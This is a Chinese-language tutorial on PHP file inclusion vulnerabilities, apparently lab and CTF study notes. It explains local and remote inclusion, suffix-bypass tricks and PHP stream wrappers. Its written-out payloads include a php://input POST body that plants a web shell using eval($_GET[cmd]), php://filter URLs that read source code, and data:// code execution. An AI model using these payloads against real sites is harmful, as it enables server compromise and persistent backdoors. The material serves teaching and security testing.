目录
- 1. 文件包含漏洞
- 1.1. 原理、检测、类型、修复
- 1.2. 无限制&有限制的包含
- 1.2.1 本地包含
- 1.2.2 远程包含
- 1.3. 协议流
- php://
- php://input
- php://filter
- file://
- data://
- 2. 示例
- 2.1. 本地文件包含代码测试-原理
- 2.2. 远程文件包含代码测试-原理
- 2.3. 各种协议流提交流测试-协议
- php://input & php://filter
- file://
- data://,执行php代码
- 2.4. 某 CMS 程序文件包含利用-黑盒
- 2.5. CTF-南邮大,春秋百度杯真题-白盒
- 2.5.1 CTF-南邮大
- 2.5.2 春秋学院
1. 文件包含漏洞
1.1. 原理、检测、类型、修复
- 原理: 网站开发者经常会把一些代码插入到指定的地方,从而节省之间避免再次编写 ,这就是包含函数的基础解释 ,但是我们不光可以包含我们预先指定的文件,也可以包含我们服务器内部的其他文件。浅谈文件包含漏洞
文件包含各个脚本代码 ASP,PHP,JSP,ASPX等
<! --#include file=“1.asp” --><c:import url=“http://thief.one/1.jsp”>
<jsp:include page=“head.jsp”/>
<%@ include file=“head.jsp”%> <?php Include('test.php')?>
- 检测
黑盒测试,参数值如果为文件名,则可以尝试 - 类型:本地包含(只可引入网站本地文件)、远程包含(包含远程网址文件,危害相较大)。两种包含类型亦各分为有限制与无限制
- 修复:
- 首先是无解的WAF产品
- 固定后缀:添加文件后缀到所包含的文件名。实战情况下不清楚所添加的后缀,未知将在造成更多的疑虑,但是可以测一测
- 固定文件:似与C语言头文件,不进行所包含文件的修改,都定下来。
- 对可变的所包含文件名进行检测!
1.2. 无限制&有限制的包含
无限制为直接直接包含文件:
<?php
$filename=$_GET['filename'];
include($filename);
?>
有限制为直接直接包含文件:以添加固定后缀为例
<?php
$filename=$_GET['filename'];
include($filename.".html");
?>
1.2.1 本地包含
无限制:可直接包含http://127.0.0.1:8888/webinclude.php?filename=phpinfo.txt
有限制:即漏洞使用有干扰,则需要特殊方法绕过
%00 截断:条件:magic_quotes_gpc = off pho版本<5.3.4
长度截断:条件:区分操作系统:windows点号需要长于256;linux长于4096
1.2.2 远程包含
无限制:直接包含:http://192.168.114.11/webinclude.php?filename=http://www.xiaodi8.com/readme.txt
限制强制添加.html 可以用以上的符号 ?
、%23(#注释符吧)
、%20(空格)
(不可用)
1.3. 协议流
- 首先确认当前搭建网站的环境所支持的协议
脚本所支持的协议:【图】 - 以php网站为例,原文链接:php伪协议 各协议的利用条件和方法,php.ini参数设置需求:
php://
php://
用于访问各个输入/输出流(I/O streams),经常使用的是php://filter
和php://input
。
- php://filter用于读取源码
- php://input用于执行php代码
php://input
php://input可以访问请求的原始数据的只读流,将post请求的数据当作php代码执行。
- 当传入的参数作为文件名打开时,可以将参数设为php://input同时post想设置的文件内容,php执行时会将post内容当作文件内容。
- 注:当enctype=”multipart/form-data”时,php://input是无效的
http://127.0.0.1:8080/include.php?file=php://input [POST DATA部分]<?php fputs(fopen('shell.php','w'),'<?php @eval($_GET[cmd]); ?>'); ?>
php://filter
读取文件源码用法:
http://127.0.0.1:8080/include.php?filename=php://filter/read=convert.base64-encode/resource=[文件名]
file://
用于访问本地文件系统。当指定了一个相对路径(不以/、、\或 Windows 盘符开头的路径)提供的路径将基于当前的工作目录
http://127.0.0.1:8080/include.php?filename=file://D:/phpstudy/PHPTutorial/WWW/1.txt
data://
数据流封装器,以传递相应格式的数据。通常可以用来执行PHP代码
http://127.0.0.1:8080/include.php?filename=data://text/plain,<?php%20phpinfo();?>
2. 示例
2.1. 本地文件包含代码测试-原理
本地准备 phpinfo的txt文件
http://127.0.0.1:8888/webinclude.php?filename=phpinfo.txt 大多代码语言文件包含中可添加路径以读取其他路径下文件:
../../
,d:\
等
有限制时:以添加 .html后缀为例
2.2. 远程文件包含代码测试-原理
对于远程包含,若php环境禁止,即没有远程包含功能
- 无限制时直接包含:
- 以添加 .html后缀为例的限制级:
2.3. 各种协议流提交流测试-协议
php://input & php://filter
file://
所查询的文件将以php代码执行
data://,执行php代码
2.4. 某 CMS 程序文件包含利用-黑盒
网站源码:提取码: 5phi易酷CMS2.5本地文件包含漏洞复现
2.5. CTF-南邮大,春秋百度杯真题-白盒
2.5.1 CTF-南邮大
链接:CTF-南邮大
- 根据跳转链接敏感词 file=show.php (黑盒手工看参数及功能点)
http://4.chinalover.sinaapp.com/web7/index.php?file=show.php
- 直接访问 show.php 也可以正常显示,判断网站机制是将文件包含进主文件以展示
- 测试使用 php://input 被拒绝,尝试无所谓开启的文件读取功能